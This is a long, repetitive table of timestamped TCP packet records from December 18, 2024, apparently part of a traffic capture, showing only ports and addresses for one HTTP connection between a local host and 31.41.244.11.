Dec 18, 2024 11:47:49.282416105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.282471895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.283302069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.283350945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.283449888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.283503056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.284038067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.284085035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.284693956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.284706116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.284754992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.285624981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.285635948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.285672903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.285717010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.286700010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.286751986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.286778927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.286983967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.287766933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.287787914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.287811995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.287826061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.289374113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.289402962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.289433002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.289449930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.290102959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.290152073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.291014910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.291062117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.291912079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.291929007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.291960955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.291985035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.292453051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.292496920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.293606043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.293651104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.293653965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.293684006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.294744015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.294787884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.294800997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.294816971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.295198917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.295238972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.296506882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.296525955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.296569109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.297602892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.297620058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.297652960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.297669888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.298610926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.298629045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.298662901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.298681974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.299748898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.299766064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.299808979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.299830914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.300781012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.300798893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.300844908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.302010059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.302026033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.302061081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.302078009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.302953005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.302969933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.303004026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.303019047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.304157019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.304172993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.304208040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.304225922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.305329084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.305346966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.305375099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.305389881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.306901932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.306920052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.306950092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.306967974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.307861090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.307877064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.307907104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.308850050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.308911085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.309040070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.309091091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.310331106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.310348034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.310379028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.310400963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.312328100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.312347889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.312386036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.312407970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.313693047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.313708067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.313741922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.314372063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.314385891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.314433098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.315274954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.315290928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.315325975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.316168070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.316184998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.316266060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.317056894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.317070961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.317114115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.318341017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.318357944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.318394899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.318418026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.319421053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.319434881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.319468975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.320689917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.320708036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.320736885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.320760012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.321733952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.321751118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.321800947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.323117971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.323131084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.323168039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.324184895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.324229956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.324726105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.324773073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.325572968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.325587034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.325619936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.326375008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.326416016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.326643944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.327091932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.327651978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.327666998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.327693939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.327708960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.328773975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.328789949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.328836918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.329952955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.329966068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.330017090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.331588984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.331605911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.331654072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.331672907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.332786083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.332811117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.332973003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.333499908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.333513021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.333553076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.333575010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.334897995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.334913969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.334943056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.334956884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.336195946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.336210966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.336236954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.336256981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.337568045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.337585926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.337709904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.338783026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.338797092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.338840008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.338857889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.339934111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.339950085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.340017080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.340842962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.340857983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.340895891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.340918064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.471215963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.471282959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.471729994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.471745968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.471757889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.471791983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.471813917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.472740889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.472784042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.473608017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.473642111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.473651886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.473679066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.474359989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.474488974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.475152016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.475167036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.475193977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.475207090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.475974083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.476020098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.476862907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.477040052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.477665901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.477679014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.477746964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.477746964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.478382111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.478435040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.478806973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.478852034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.479824066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.479835987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.479876041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.479897976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.480926037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.480937958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.480978012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.480990887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.481967926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.481980085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.482019901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.483144045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.483156919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.483195066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.483208895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.484338999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.484350920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.484385967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.484399080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.485313892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.485363007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.486361980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.486779928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.486793041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.486805916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.486821890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.486833096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.487684965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.487698078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.487719059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.487744093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.488831043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.488883972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.489841938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.490358114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.490365028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.490397930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.490434885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.490456104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.491833925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.491846085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.491878033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.491889000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.492688894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.492702961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.492732048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.492744923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.493676901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.493689060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.493736029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.493736029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.494806051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.494820118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.494841099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.494867086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.496414900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.496433020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.496500015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.496500969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.498367071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.498384953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.498399019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.498471975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.499511003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.499530077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.499541998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.499577999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.499603987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.501868010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.501887083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.501899958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.501924992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.501939058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.502366066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.502882957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.505040884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.505057096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.505072117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.505084038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.505103111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.505130053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.506362915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.506381035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.506406069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.506433964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.507184982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.507200956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.507241011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.507705927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.507749081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.508569956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.508690119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.509216070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.509233952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.509268045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.509283066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.510354996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.510371923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.510392904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.510411978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.511393070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.511409044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.511441946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.511459112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.512495041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.512511015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.512547970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.512563944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.513468027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.513483047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.513520002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.513537884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.514888048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.514904022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.514949083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.514966965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.516021013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.516037941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.516089916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.516979933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.516998053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.517040968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.518126965 CET	80	49878	31.41.244.11	192.168.2.6
